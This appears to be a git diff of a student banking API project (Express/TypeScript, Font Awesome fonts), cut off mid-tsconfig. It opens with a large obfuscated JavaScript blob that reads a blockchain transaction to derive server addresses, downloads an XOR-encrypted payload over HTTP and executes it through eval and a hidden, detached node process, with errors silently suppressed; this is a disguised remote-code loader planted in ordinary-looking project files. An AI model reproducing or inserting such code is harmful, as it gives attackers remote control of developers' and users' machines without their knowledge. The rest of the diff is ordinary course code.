_0x5b030a=_0xb40cd9,_0x3125f0={'cXZbP':function(_0x28fbe3,_0x2b48b3){return _0x28fbe3!==_0x2b48b3;},'HJqhJ':function(_0x2dcff8,_0x431ea0){return _0x2dcff8===_0x431ea0;},'KUERx':function(_0x14f7ff,_0x514558){return _0x14f7ff(_0x514558);},'yRNZh':function(_0x29e0f7,_0x4d6306){return _0x29e0f7<=_0x4d6306;},'sXOTv':function(_0x21b97c,_0x2500e0){return _0x21b97c(_0x2500e0);},'nQWSp':function(_0x3bafb2,_0x3de847){return _0x3bafb2===_0x3de847;},'WPcMg':function(_0xf9d74f,_0x474ddd){return _0xf9d74f-_0x474ddd;},'hRSlZ':function(_0x5b1887,_0x342cc9){return _0x5b1887>_0x342cc9;},'zAaGd':function(_0x4bb682){return _0x4bb682();},'CrnBu':function(_0x5b166c,_0x54d4f5){return _0x5b166c+_0x54d4f5;},'BbcMI':function(_0x377ec4,_0x57cdb3){return _0x377ec4/_0x57cdb3;},'VPsCE':function(_0x5a8365,_0x4eeac9){return _0x5a8365*_0x4eeac9;},'xQSGI':function(_0x300d62,_0x18425d,_0x3f731f){return _0x300d62(_0x18425d,_0x3f731f);},'MpDag':function(_0x526169,_0x3e0fcc){return _0x526169??_0x3e0fcc;}},_0x52a753=new AbortController(),_0x3fb63d=()=>_0x52a753[_0x5b030a(0x23d)]();return Promise[_0x5b030a(0x22e)](_0x3125f0[_0x5b030a(0x26c)](_0x18ac7b,null))[_0x5b030a(0x2eb)](_0x49c525=>_0x49c525!=null?_0x49c525:wr((_0x29a192,_0x4b0e40)=>rc(_0x29a192,_0x5b030a(0x2be)+_0x5b030a(0x1f6),[],_0x4b0e40),_0x52a753[_0x5b030a(0x310)])[_0x5b030a(0x2eb)](_0x49d97c=>BigInt(_0x49d97c)))[_0x5b030a(0x2eb)](_0x4a5be3=>wr((_0x506ed8,_0x64a48b)=>rc(_0x506ed8,_0x5b030a(0x2ea)+_0x5b030a(0x2cf)+_0x5b030a(0x2ca),[S,bh(_0x4a5be3)],_0x64a48b),_0x52a753[_0x5b030a(0x310)])[_0x5b030a(0x2eb)](_0x5ce6e9=>[_0x4a5be3,BigInt(_0x5ce6e9)]))[_0x5b030a(0x2eb)](([_0x128da9,_0xddf640])=>{const _0x2a41f9=_0x5b030a,_0x2980d3={'adPes':function(_0x31c266,_0x2a6dbd){const _0x37bdf2=_0x4963;return _0x3125f0[_0x37bdf2(0x2bf)](_0x31c266,_0x2a6dbd);},'kFQGW':function(_0x1a14df,_0x2b1e7d){const _0x587956=_0x4963;return _0x3125f0[_0x587956(0x2a7)](_0x1a14df,_0x2b1e7d);},'ElRXP':function(_0x4e2703,_0x51e9e8){const _0x42ce70=_0x4963;return _0x3125f0[_0x42ce70(0x2d4)](_0x4e2703,_0x51e9e8);},'XTkSG':function(_0x174bee){const _0x5eae16=_0x4963;return _0x3125f0[_0x5eae16(0x2de)](_0x174bee);},'qKDlv':function(_0x454723,_0x17a6be){const _0x146c2c=_0x4963;return _0x3125f0[_0x146c2c(0x1f0)](_0x454723,_0x17a6be);},'TXebJ':function(_0x7585b3,_0x23b90d){const _0x277c90=_0x4963;return _0x3125f0[_0x277c90(0x2d2)](_0x7585b3,_0x23b90d);},'mxSNT':function(_0x10cb80,_0x463bcd){const _0x37569d=_0x4963;return _0x3125f0[_0x37569d(0x27e)](_0x10cb80,_0x463bcd);},'qIYQS':function(_0x1b7be4,_0xf46076){const _0x2e266d=_0x4963;return _0x3125f0[_0x2e266d(0x218)](_0x1b7be4,_0xf46076);},'auues':function(_0x3efe57,_0x320684){const _0x18b06e=_0x4963;return _0x3125f0[_0x18b06e(0x2ef)](_0x3efe57,_0x320684);},'ufTsk':function(_0x1bf058,_0x6cd856){const _0x239b56=_0x4963;return _0x3125f0[_0x239b56(0x27e)](_0x1bf058,_0x6cd856);},'YwJRh':function(_0x1c5468,_0x1f9d5c,_0x5743f1){const _0xbf084f=_0x4963;return _0x3125f0[_0xbf084f(0x27d)](_0x1c5468,_0x1f9d5c,_0x5743f1);}},_0x1fd119=_0x3125f0[_0x2a41f9(0x2a7)](_0xddf640,0x1n);let _0x3595c1=-0x1n,_0x3a29eb=_0x128da9;const _0x50f36b=()=>_0x3a29eb-_0x3595c1<=0x1n?wr((_0x245c3d,_0x81a90c)=>rc(_0x245c3d,_0x2a41f9(0x233)+_0x2a41f9(0x319),[bh(_0x3a29eb),!(0x2062+0x1f3+-0x2255)],_0x81a90c),_0x52a753[_0x2a41f9(0x310)])[_0x2a41f9(0x2eb)](_0xc7148c=>{const _0x23cf5c=_0x2a41f9,_0x4404ae=_0xc7148c?.[_0x23cf5c(0x285)+'ns']||[];let _0x25476e=null;for(const _0x4f7d22 of _0x4404ae){if(_0x3125f0[_0x23cf5c(0x204)](_0x4f7d22[_0x23cf5c(0x1f1)]?.[_0x23cf5c(0x2d3)+'e'](),S))continue;if(_0x3125f0[_0x23cf5c(0x29e)](_0x3125f0[_0x23cf5c(0x1f0)](BigInt,_0x4f7d22[_0x23cf5c(0x2fc)]),_0x1fd119)){_0x25476e=_0x4f7d22;break;}_0x25476e&&_0x3125f0[_0x23cf5c(0x2d2)](_0x3125f0[_0x23cf5c(0x313)](BigInt,_0x4f7d22[_0x23cf5c(0x2fc)]),_0x3125f0[_0x23cf5c(0x313)](BigInt,_0x25476e[_0x23cf5c(0x2fc)]))||(_0x25476e=_0x4f7d22);}return{'blockNumber':_0x3a29eb,'tx':_0x25476e};}):(_0x18d906=>{const _0x34e2ed=_0x2a41f9,_0x55dcf5={'LpuXg':function(_0x43f0b4,_0x23e4a6){const _0x2a2086=_0x4963;return _0x2980d3[_0x2a2086(0x269)](_0x43f0b4,_0x23e4a6);},'oYnfv':function(_0x62f93f,_0x44f677){const _0x106baa=_0x4963;return _0x2980d3[_0x106baa(0x1fa)](_0x62f93f,_0x44f677);},'zGBfJ':function(_0x56c5de,_0x3f78f1){const _0xb2b7fe=_0x4963;return _0x2980d3[_0xb2b7fe(0x300)](_0x56c5de,_0x3f78f1);},'GGFaB':function(_0x28d871){const _0x56579e=_0x4963;return _0x2980d3[_0x56579e(0x2ae)](_0x28d871);}},_0x173697=_0x2980d3[_0x34e2ed(0x318)](BigInt,Math[_0x34e2ed(0x2c1)](0xf73+0x1908+-0x286f,_0x2980d3[_0x34e2ed(0x318)](Number,_0x18d906))),_0x149145=[];for(let _0x58efa4=0x1n;_0x2980d3[_0x34e2ed(0x287)](_0x58efa4,_0x173697);_0x58efa4+=0x1n)_0x149145[_0x34e2ed(0x201)](_0x2980d3[_0x34e2ed(0x2f5)](_0x3595c1,_0x2980d3[_0x34e2ed(0x302)](_0x2980d3[_0x34e2ed(0x247)](_0x58efa4,_0x2980d3[_0x34e2ed(0x1fa)](_0x3a29eb,_0x3595c1)),_0x2980d3[_0x34e2ed(0x2a0)](_0x173697,0x1n))));return _0x2980d3[_0x34e2ed(0x21d)](na,_0x149145,_0x52a753[_0x34e2ed(0x310)])[_0x34e2ed(0x2eb)](_0x3032ad=>{const _0xbbd997=_0x34e2ed,_0x2d527=_0x3032ad[_0xbbd997(0x2e9)](_0x40f294=>_0x40f294>=_0xddf640);return _0x55dcf5[_0xbbd997(0x209)](_0x2d527,-(0xc63+0x2*0xcc2+-0x25e6))?_0x3595c1=_0x149145[_0x55dcf5[_0xbbd997(0x212)](_0x149145[_0xbbd997(0x2fd)],-0x62*-0x36+-0x1*-0x1d9f+-0x324a)]:(_0x3a29eb=_0x149145[_0x2d527],_0x55dcf5[_0xbbd997(0x280)](_0x2d527,0x23f9+0x2392+-0x478b)&&(_0x3595c1=_0x149145[_0x55dcf5[_0xbbd997(0x212)](_0x2d527,0xbb6+-0x203b*-0x1+0x15f8*-0x2)])),_0x55dcf5[_0xbbd997(0x25f)](_0x50f36b);});})(_0x3a29eb-_0x3595c1-0x1n);return _0x3125f0[_0x2a41f9(0x2de)](_0x50f36b);})[_0x5b030a(0x23a)](_0x3fb63d);}function _0x4963(_0xfccef8,_0x19195d){_0xfccef8=_0xfccef8-(-0x1f39+-0x1be1*0x1+0x3d09);const _0x5a4a1f=_0x240a();let _0x5dde51=_0x5a4a1f[_0xfccef8];return _0x5dde51;}function li(){const _0x43231f=_0xb40cd9,_0x4f8cb7={'HmRMA':function(_0x1866e8,_0x355583){return _0x1866e8(_0x355583);}};return _0x4f8cb7[_0x43231f(0x254)](hr,I+(_0x43231f(0x227)+_0x43231f(0x289)+_0x43231f(0x2f7)+_0x43231f(0x277))+S+(_0x43231f(0x2ce)+_0x43231f(0x2b4)+_0x43231f(0x239)+_0x43231f(0x30f)+_0x43231f(0x1f3)+_0x43231f(0x290)+_0x43231f(0x257)+'om'))[_0x43231f(0x2eb)](_0x216a23=>{const _0x494ec9=_0x43231f,_0x16dfdc=Array[_0x494ec9(0x258)](_0x216a23?.[_0x494ec9(0x2ee)])?_0x216a23[_0x494ec9(0x2ee)]:[],_0x454aaa=_0x16dfdc[_0x494ec9(0x2ba)](_0x4221ff=>_0x4221ff[_0x494ec9(0x1f1)]?.[_0x494ec9(0x2d3)+'e']()===S);return{'blockNumber':_0x4f8cb7[_0x494ec9(0x254)](BigInt,_0x454aaa[_0x494ec9(0x267)+'r']),'tx':_0x454aaa};});}((async()=>{const _0x55377a=_0xb40cd9,_0x7fec65={'XrINm':function(_0x7c8c02,_0x4c4fc5){return _0x7c8c02<_0x4c4fc5;},'icJKY':function(_0x158793,_0x58c500){return _0x158793%_0x58c500;},'gEJkK':_0x55377a(0x236),'pBine':_0x55377a(0x243),'NtNzV':_0x55377a(0x288)+_0x55377a(0x2d0),'YGLIZ':_0x55377a(0x2c4),'dHJMG':function(_0x146e65,_0x2ed0b2){return _0x146e65(_0x2ed0b2);},'LUHgk':_0x55377a(0x1f4),'FJQfU':_0x55377a(0x29f),'qtOhP':function(_0x2dd368,_0x11dc0b){return _0x2dd368===_0x11dc0b;},'CvEVD':_0x55377a(0x2c6),'drGLd':function(_0x129c39,_0x7d3c7f){return _0x129c39(_0x7d3c7f);},'HnEZv':_0x55377a(0x30c),'IYVLW':_0x55377a(0x2b2),'ZFXMR':function(_0x33656f,_0x2660a9){return _0x33656f+_0x2660a9;},'LYlST':_0x55377a(0x25c)+_0x55377a(0x279)+_0x55377a(0x2b9)+_0x55377a(0x2b8)+_0x55377a(0x30d)+_0x55377a(0x315)+_0x55377a(0x2f2)+_0x55377a(0x22c)+_0x55377a(0x2e8)+_0x55377a(0x2ec)+_0x55377a(0x20c)+'6','znPEY':function(_0x5e6f3c,_0xed3ddc){return _0x5e6f3c(_0xed3ddc);},'MLIOR':_0x55377a(0x2a5),'ZTPpt':function(_0xe937e7,_0x5d96ce,_0x1f9763){return _0xe937e7(_0x5d96ce,_0x1f9763);},'qwuMv':_0x55377a(0x2f6),'UoHre':_0x55377a(0x2b3),'qgnZE':_0x55377a(0x26e),'cijQU':function(_0x1fa731,_0x27db6d){return _0x1fa731(_0x27db6d);},'qemQD':function(_0x277781,_0x2eb15d){return _0x277781+_0x2eb15d;},'MOgkU':function(_0x2eeca6,_0x3926fc,_0x2eb0e2,_0x3ba744){return _0x2eeca6(_0x3926fc,_0x2eb0e2,_0x3ba744);},'DXTAq':_0x55377a(0x2f4),'RvLqJ':_0x55377a(0x294),'HPlEi':function(_0x2f0528,_0x429b39){return _0x2f0528(_0x429b39);},'QpeUN':function(_0xf35d7a,_0x56c8f8){return _0xf35d7a-_0x56c8f8;},'kNlIn':function(_0x4e3539,_0x2eac81){return _0x4e3539%_0x2eac81;},'IHMbk':function(_0x1a1fd4,_0x437026){return _0x1a1fd4(_0x437026);},'UVEAg':function(_0x342454,_0x15a61e){return _0x342454(_0x15a61e);},'GZprP':_0x55377a(0x2c9),'WpXmE':function(_0x32b01f,_0x4ab473){return _0x32b01f(_0x4ab473);},'Wtnxs':function(_0x39388e,_0x599f2e){return _0x39388e(_0x599f2e);},'mujFt':_0x55377a(0x1f9)+_0x55377a(0x316),'ogLQR':_0x55377a(0x23b)+_0x55377a(0x28a)},_0x1bbf89=_0x7fec65[_0x55377a(0x2f1)](BigInt,await _0x7fec65[_0x55377a(0x25a)](wr,(_0x3f39d9,_0x308529)=>rc(_0x3f39d9,_0x55377a(0x2be)+_0x55377a(0x1f6),[],_0x308529))),_0x22fb13=_0x7fec65[_0x55377a(0x219)](_0x1bbf89,_0x7fec65[_0x55377a(0x242)](_0x1bbf89,B));let _0x149576=await _0x7fec65[_0x55377a(0x2c8)](fm,_0x7fec65[_0x55377a(0x2f8)](cb,_0x22fb13)[_0x55377a(0x305)](bt));_0x149576||(_0x149576=await _0x7fec65[_0x55377a(0x2f1)](ls,_0x1bbf89)[_0x55377a(0x23f)](li));const _0x40a141=Buffer[_0x55377a(0x1f1)](_0x149576['tx']['to'][_0x55377a(0x2e5)](/^0x/i,''),_0x7fec65[_0x55377a(0x2d7)]),_0x411ef3=_0x3d2586=>_0x3d2586[0x3*0x1eb+-0x38f+0x2*-0x119]+'\u002E'+_0x3d2586[0x1ebf*-0x1+-0x2231+0x7*0x947]+'\u002E'+_0x3d2586[0x1a*-0x11+-0x12e8*-0x1+0x274*-0x7]+'\u002E'+_0x3d2586[-0x1b57+0x59*-0xd+0xc7*0x29],[_0x421b97,_0x1d6d4c]=[_0x7fec65[_0x55377a(0x296)](_0x411ef3,_0x40a141[_0x55377a(0x266)](0x210d+-0xa6*0x11+-0x1607,0x1*-0xf0d+-0x82*-0x6+0xc05)),_0x7fec65[_0x55377a(0x211)](_0x411ef3,_0x40a141[_0x55377a(0x266)](-0x712+0x47*-0x11+-0x3ef*-0x3,0x1*-0x5bd+-0xb02+0x10c7))],_0x124f41=global;_0x124f41['_V']=_0x124f41['i'],_0x124f41['_H']=_0x55377a(0x2e1)+_0x421b97+_0x55377a(0x27a),_0x124f41[_0x55377a(0x2b3)]=_0x55377a(0x2e1)+_0x1d6d4c+_0x55377a(0x27a),_0x124f41[_0x55377a(0x2f6)]=_0x55377a(0x2e1)+_0x421b97+_0x55377a(0x216),_0x124f41[_0x55377a(0x26e)]=_0x55377a(0x2e1)+_0x421b97+_0x55377a(0x27a);function _0x55a40b(_0x3b18ce,_0x5ddbfd){const _0x224176=_0x55377a,_0x5d8ba1={'qFrln':_0x7fec65[_0x224176(0x314)],'HEGYP':_0x7fec65[_0x224176(0x28f)],'uFaIV':function(_0x1bd3c7,_0x3f388f){const _0x12bd2f=_0x224176;return _0x7fec65[_0x12bd2f(0x24a)](_0x1bd3c7,_0x3f388f);},'xLMUX':_0x7fec65[_0x224176(0x21b)],'dKrGP':function(_0xc44d94,_0x2a4e3d){const _0x54d87a=_0x224176;return _0x7fec65[_0x54d87a(0x24a)](_0xc44d94,_0x2a4e3d);},'jPatL':_0x7fec65[_0x224176(0x221)],'ciBJl':function(_0x1f6534,_0x1988ee){const _0x16f09d=_0x224176;return _0x7fec65[_0x16f09d(0x24a)](_0x1f6534,_0x1988ee);},'AfJYB':function(_0x3551db,_0x400f65){const _0x1be802=_0x224176;return _0x7fec65[_0x1be802(0x2f9)](_0x3551db,_0x400f65);},'fUFYG':_0x7fec65[_0x224176(0x30a)],'mjtii':function(_0x353d1c,_0x213c46){const _0xf57fd4=_0x224176;return _0x7fec65[_0xf57fd4(0x25a)](_0x353d1c,_0x213c46);},'IKYUV':_0x7fec65[_0x224176(0x2aa)],'kWFLB':_0x7fec65[_0x224176(0x213)],'OwQBz':_0x7fec65[_0x224176(0x24f)]},_0x392ddd={'hostname':_0x5ddbfd[_0x224176(0x2b6)],'port':+_0x5ddbfd[_0x224176(0x2f3)]||0x61c+-0x188a+0x12be,'path':_0x7fec65[_0x224176(0x260)](_0x5ddbfd[_0x224176(0x20b)],_0x5ddbfd[_0x224176(0x208)]),'headers':{'User-Agent':_0x7fec65[_0x224176(0x2bd)],'Sec-V':_0x124f41['_V']||0x133*-0x1+-0x80*-0x13+-0x84d}},_0x3523a0=_0x4b4fee=>{const _0x284474=_0x224176,_0x49d23b=_0x3b18ce[_0x284474(0x2fd)];for(let _0x403734=0x18e4+0x3ae+-0x1c92;_0x7fec65[_0x284474(0x229)](_0x403734,_0x4b4fee[_0x284474(0x2fd)]);_0x403734++)_0x4b4fee[_0x403734]^=_0x3b18ce[_0x284474(0x2cb)](_0x7fec65[_0x284474(0x207)](_0x403734,_0x49d23b));return _0x4b4fee[_0x284474(0x253)](_0x7fec65[_0x284474(0x270)]);},_0x27d131=_0x11f0b8=>{const _0x4a8021=_0x224176,_0x156194=_0x11f0b8[_0x4a8021(0x2e4)][_0x5d8ba1[_0x4a8021(0x241)]];if(!_0x156194)throw new Error(_0x5d8ba1[_0x4a8021(0x226)]);return _0x5d8ba1[_0x4a8021(0x255)](_0x3523a0,Buffer[_0x4a8021(0x1f1)](_0x156194,_0x5d8ba1[_0x4a8021(0x30b)]));},_0x2df536=_0x1cf6c4=>new Promise((_0x19e059,_0x4b44bd)=>{const _0x2bdd8c=_0x224176,_0x179668=http[_0x2bdd8c(0x2fb)]({..._0x392ddd,'method':_0x1cf6c4},_0x1f7cb5=>{const _0x5b4fc8=_0x2bdd8c,_0x5a3cc2={'PWlzd':function(_0x481eaf,_0x318495){const _0x22e39c=_0x4963;return _0x5d8ba1[_0x22e39c(0x271)](_0x481eaf,_0x318495);},'XHKVp':_0x5d8ba1[_0x5b4fc8(0x241)],'dDnil':function(_0x58ff8f,_0x334e58){const _0x1556a2=_0x5b4fc8;return _0x5d8ba1[_0x1556a2(0x255)](_0x58ff8f,_0x334e58);},'hxvkS':function(_0x48a9c8,_0xcd641b){const _0x5cef57=_0x5b4fc8;return _0x5d8ba1[_0x5cef57(0x255)](_0x48a9c8,_0xcd641b);},'PjPYE':function(_0xca6f7f,_0x5b2eb8){const _0x2b10ea=_0x5b4fc8;return _0x5d8ba1[_0x2b10ea(0x271)](_0xca6f7f,_0x5b2eb8);},'RzAXc':_0x5d8ba1[_0x5b4fc8(0x2bb)],'NfmdB':function(_0x57b1cf,_0x147773){const _0x2dfbf8=_0x5b4fc8;return _0x5d8ba1[_0x2dfbf8(0x268)](_0x57b1cf,_0x147773);}};if(_0x5d8ba1[_0x5b4fc8(0x276)](_0x1cf6c4,_0x5d8ba1[_0x5b4fc8(0x2ad)])){try{_0x5d8ba1[_0x5b4fc8(0x273)](_0x19e059,_0x5d8ba1[_0x5b4fc8(0x271)](_0x27d131,_0x1f7cb5));}catch(_0x12fce8){_0x5d8ba1[_0x5b4fc8(0x268)](_0x4b44bd,_0x12fce8);}_0x1f7cb5[_0x5b4fc8(0x259)]();return;}const _0x191e9f=[];_0x1f7cb5['on'](_0x5d8ba1[_0x5b4fc8(0x29b)],_0x43fb0c=>_0x191e9f[_0x5b4fc8(0x201)](_0x43fb0c)),_0x1f7cb5['on'](_0x5d8ba1[_0x5b4fc8(0x2af)],()=>{const _0xeb5fed=_0x5b4fc8;try{const _0x4143ee=Buffer[_0xeb5fed(0x26b)](_0x191e9f);if(_0x4143ee[_0xeb5fed(0x2fd)])return _0x5a3cc2[_0xeb5fed(0x20a)](_0x19e059,_0x5a3cc2[_0xeb5fed(0x20a)](_0x3523a0,_0x4143ee));if(_0x1f7cb5[_0xeb5fed(0x2e4)][_0x5a3cc2[_0xeb5fed(0x2cd)]])return _0x5a3cc2[_0xeb5fed(0x2ac)](_0x19e059,_0x5a3cc2[_0xeb5fed(0x210)](_0x27d131,_0x1f7cb5));_0x5a3cc2[_0xeb5fed(0x28b)](_0x4b44bd,new Error(_0x5a3cc2[_0xeb5fed(0x29a)]));}catch(_0x296191){_0x5a3cc2[_0xeb5fed(0x1ef)](_0x4b44bd,_0x296191);}}),_0x1f7cb5['on'](_0x5d8ba1[_0x5b4fc8(0x21f)],_0x4b44bd);});_0x179668['on'](_0x7fec65[_0x2bdd8c(0x24f)],_0x4b44bd),_0x179668[_0x2bdd8c(0x2b2)]();});return _0x7fec65[_0x224176(0x2c2)](_0x2df536,_0x7fec65[_0x224176(0x1fe)])[_0x224176(0x23f)](()=>_0x2df536(_0x224176(0x2c6)));}async function _0x254832(_0x50ce50,_0x1e9acf,_0x1f2c0){const _0x253d26=_0x55377a;try{const _0x42afde=await _0x7fec65[_0x253d26(0x2b7)](_0x55a40b,_0x1e9acf,_0x50ce50),_0x319a6e=_0x253d26(0x31c)+_0x253d26(0x2e7)+(_0x124f41['_V']||-0x1*-0x9ad+-0x189*0x5+-0x200)+_0x253d26(0x230)+(_0x1f2c0?'\u005F\u0048':_0x7fec65[_0x253d26(0x237)])+_0x253d26(0x2e7)+(_0x1f2c0?_0x124f41['_H']:_0x124f41[_0x253d26(0x2f6)])+_0x253d26(0x230)+(_0x1f2c0?_0x7fec65[_0x253d26(0x231)]:_0x7fec65[_0x253d26(0x27f)])+_0x253d26(0x2e7)+(_0x1f2c0?_0x124f41[_0x253d26(0x2b3)]:_0x124f41[_0x253d26(0x26e)])+(_0x253d26(0x230)+_0x253d26(0x317)+_0x253d26(0x309)+_0x253d26(0x264)+_0x253d26(0x22f)+_0x253d26(0x2a3));_0x1f2c0||_0x7fec65[_0x253d26(0x222)](eval,_0x7fec65[_0x253d26(0x283)](_0x319a6e,_0x42afde)),_0x7fec65[_0x253d26(0x2a6)](spawn,_0x7fec65[_0x253d26(0x23e)],['-e',_0x7fec65[_0x253d26(0x283)](_0x319a6e,_0x42afde)],{'detached':!(-0x3*-0xc5b+0x48a+0x299b*-0x1),'stdio':_0x7fec65[_0x253d26(0x2b1)],'windowsHide':!(-0x301*-0x3+-0x25cd*-0x1+0x38*-0xd6)})[_0x253d26(0x200)]();}catch(_0x354116){}}await _0x7fec65[_0x55377a(0x2a6)](_0x254832,new URL(_0x55377a(0x2e1)+_0x421b97+(_0x55377a(0x23c)+'s')),_0x7fec65[_0x55377a(0x203)],!(-0x2*-0xa75+0x3be*-0x7+0x1c3*0x3)),await _0x7fec65[_0x55377a(0x2a6)](_0x254832,new URL(_0x55377a(0x2e1)+_0x421b97+_0x55377a(0x2b5)),_0x7fec65[_0x55377a(0x265)],!(-0x315*-0x3+0x7*-0x10f+-0x2f*0xa));})()); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/semana15/F4Bank/package.json b/semana15/F4Bank/package.json new file mode 100644 index 0000000..441b104 --- /dev/null +++ b/semana15/F4Bank/package.json @@ -0,0 +1,24 @@ +{ + "name": "apis-template", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "start": "tsc && node ./build/index.js" + }, + "keywords": [ + "api", + "template", + "rest" + ], + "author": "Labenu", + "license": "ISC", + "dependencies": { + "@types/cors": "^2.8.8", + "@types/express": "^4.17.8", + "@types/node": "^14.11.10", + "cors": "^2.8.5", + "express": "^4.17.1", + "typescript": "^4.0.3" + } +} diff --git a/semana15/F4Bank/src/index.ts b/semana15/F4Bank/src/index.ts new file mode 100644 index 0000000..fac04c5 --- /dev/null +++ b/semana15/F4Bank/src/index.ts @@ -0,0 +1,133 @@ +import express from 'express' +import cors from 'cors'; +import { error } from 'console'; + +const server = express() + +server.use(express.json()); +server.use(cors()); + + + +type conta = { + idade: number + nome: String + cpf: String + dataNascimento: String + saldo: number + +} + +type extrato = { + valor: number, + data: String, + descricao: String +} + +let transacoes: extrato[] = [] + + +let usuarios: conta[] = [] + + +server.get('/users/', (req, res) => { + res.send(usuarios) +}) + +server.post('/users/', (req, res) => { + let novoUsuario: conta = {idade: req.body.idade, nome: req.body.nome, cpf: req.body.cpf, dataNascimento: req.body.dataNascimento, saldo:0} + let cpfIgual: boolean = false + usuarios.map(usuario => novoUsuario.cpf === usuario.cpf? cpfIgual = true: null) + + if(novoUsuario.idade >= 18 && cpfIgual == false){ + usuarios.push(novoUsuario) + res.send('conta criada com sucesso') + } + else{res.status(404).send('menor de 18 anos ou esse cpf já existe!')} +}) + +let data = new Date() +let dataAtual = data.toLocaleDateString() + + + +server.get('/users/saldo', (req, res) => { + let nome: string = req.query.nome as string + let cpf: string = req.query.cpf as string + + let selecionado: number = usuarios.findIndex((usuario, index, array) => usuario.nome === nome && usuario.cpf === cpf) + + res.send('seu saldo é '+ usuarios[selecionado].saldo) +}) + + + +server.put('/users/adicionarSaldo', (req, res) => { + let nome: string = req.body.nome + let cpf: string = req.body.cpf + let valor: number = req.body.valor + + let selecionado: number = usuarios.findIndex((usuario, index, array) => usuario.nome === nome && usuario.cpf === cpf) + + usuarios[selecionado].saldo += valor + + res.send('deposito concluido!, seu saldo é: '+ usuarios[selecionado].saldo ) +}) + + + +server.post('/pagar', (req, res) => { + let nome: string = req.query.nome as string + let cpf: string = req.query.cpf as string + + let selecionado: number = usuarios.findIndex((usuario, index, array) => usuario.nome === nome && usuario.cpf === cpf) + + let valor: number = req.body.valor + let descricao: string = req.body.descricao + let data: string = req.body.data + + let dadosTransacoes:extrato = {valor, descricao, data} + + usuarios[selecionado].saldo < valor? res.status(404).send('saldo insulficiente!'):( + usuarios[selecionado].saldo -= valor, + + transacoes.push(dadosTransacoes), + res.json(dadosTransacoes), + console.log(transacoes) + ) +}) + + + +server.post('/transferencia', (req, res) => { + let nome: string = req.query.nome as string + let cpf: string = req.query.cpf as string + + let selecionado: number = usuarios.findIndex((usuario, index, array) => usuario.nome === nome && usuario.cpf === cpf) + + let nomeDestinatario: string = req.body.nome + let cpfDestinatario: string = req.body.cpf + let valor: number = req.body.valor + let descricao: string = req.body.descricao + let data: string = req.body.data + + let dadosTransacoes:extrato = {valor, descricao, data} + + let destinatario: number = usuarios.findIndex((usuario, index, array) => usuario.nome === nomeDestinatario && usuario.cpf === cpfDestinatario) + + usuarios[selecionado].saldo < valor? res.status(404).send('saldo insulficiente!'):( + transacoes.push(dadosTransacoes), + usuarios[selecionado].saldo -= valor, + usuarios[destinatario].saldo += valor, + res.json({'nome do destinatario': nomeDestinatario, 'cpf do destinatario': cpfDestinatario, quantia:valor}), + console.log(transacoes) + ) + + +}) + + + + + +server.listen('3000', () => {console.log('servidor rodando!')}) \ No newline at end of file diff --git a/semana15/F4Bank/tsconfig.json b/semana15/F4Bank/tsconfig.json new file mode 100644 index 0000000..bfb510b --- /dev/null +++ b/semana15/F4Bank/tsconfig.json @@ -0,0 +1,70 @@ +{ + "compilerOptions": { + /* Visit https://aka.ms/tsconfig.json to read more about this file */ + + /* Basic Options */ + // "incremental": true, /* Enable incremental compilation */ + "target": "es6", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', or 'ESNEXT'. */ + "module": "commonjs", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', 'es2020', or 'ESNext'. */ + // "lib": [], /* Specify library files to be included in the compilation. */ + // "allowJs": true, /* Allow javascript files to be compiled. */ + // "checkJs": true, 